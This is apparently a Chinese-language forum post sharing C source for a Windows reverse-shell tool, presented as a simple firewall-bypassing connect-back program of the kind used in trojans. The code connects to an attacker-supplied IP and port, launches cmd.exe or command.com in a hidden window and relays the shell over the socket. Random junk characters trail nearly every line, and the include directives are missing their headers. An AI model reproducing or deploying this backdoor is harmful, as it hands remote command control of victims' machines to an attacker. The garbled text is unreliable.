这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xZ*.@Pkr
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/* ============================== %|l^oC+E
Rebound port in Windows NT S$!)Uc\)A
By wind,2006/7 *}Al0\q0M
===============================*/ g4 BEo'
#include AwhXCq|k
#include !N4?>[E
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#pragma comment(lib,"wsock32.lib") \BT 8-}
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void OutputShell(); K<HF!YU#I2
SOCKET sClient; \X5>HPB
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7b,5*]oZ
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void main(int argc,char **argv) qwlIz/j
{ }c>[m,lz
WSADATA stWsaData; D\~*| J
int nRet; /( /)nYAjk
SOCKADDR_IN stSaiClient,stSaiServer; -q9`Btz
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if(argc != 3) C F2*W).+
{ nVqFCBB
printf("Useage:\n\rRebound DestIP DestPort\n"); -r9G5Z!|n
return; x0ZEVa0`4
} F2/-Wk@
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WSAStartup(MAKEWORD(2,2),&stWsaData); w l.#{@J]<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L:HJ:
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stSaiClient.sin_family = AF_INET; ^^[MDjNy@
stSaiClient.sin_port = htons(0); }MKm>N
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $a|DR
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c;w%R8z
{ :NL.#!>/
printf("Bind Socket Failed!\n"); V+/Vk1
return; ^<0u~u)%T
} %,u_`P
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stSaiServer.sin_family = AF_INET; :T5p6:
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WlHw\\ur
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *I0{1cST
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) v3w5+F
{ -lM4 *+f
printf("Connect Error!"); mOj6
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return; \29a@ 6
} 4qtjP8Zv[
OutputShell(); 6Sh0%Fs
}
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void OutputShell() ;eznONNF
{ Dp
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char szBuff[1024]; %;UEyj
SECURITY_ATTRIBUTES stSecurityAttributes; OO..
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OSVERSIONINFO stOsversionInfo; "^j&
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; eWvL(2`T x
STARTUPINFO stStartupInfo; M{S7tMX
char *szShell; 30 VvZb
PROCESS_INFORMATION stProcessInformation; 5b9v`6Kq
unsigned long lBytesRead; -(FVTWi0
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bd[zdL#4K
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); o<f[K}t9
stSecurityAttributes.lpSecurityDescriptor = 0; _@3?yv~ D
stSecurityAttributes.bInheritHandle = TRUE; \ /C-e
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ShAI6j
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,fQc0gM=[
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {6YLiQ*_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pEIc?i*
stStartupInfo.wShowWindow = SW_HIDE; rf"%D<bb
stStartupInfo.hStdInput = hReadPipe; unqX<6hu
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; f $MVgX
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GetVersionEx(&stOsversionInfo); T)Byws
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switch(stOsversionInfo.dwPlatformId) `X8AM=
{ O/M\Q
case 1: wrq0fHwM
szShell = "command.com"; D T^3K5
break; Ilvz@=
default: _K{hq<g
szShell = "cmd.exe"; N%{&%C 6{
break; ;+XiDEX0}
} JF]HkH_u
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mBgMu@zt)
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send(sClient,szMsg,77,0); -:(,<Jt<
while(1) PdG:aGQ>
{ `INcZr"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0}]k>ndT
if(lBytesRead) p{7"a
{ \;x+KD
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tE/s|v#O
send(sClient,szBuff,lBytesRead,0);
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} E<;C@B
else gc@,lNmi
{ jj8AV lN
lBytesRead=recv(sClient,szBuff,1024,0); c #+JG
if(lBytesRead<=0) break; =BpX;n<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kBd #=J
} /C29^ P
} &Mbpv)V8
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return; R?g
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}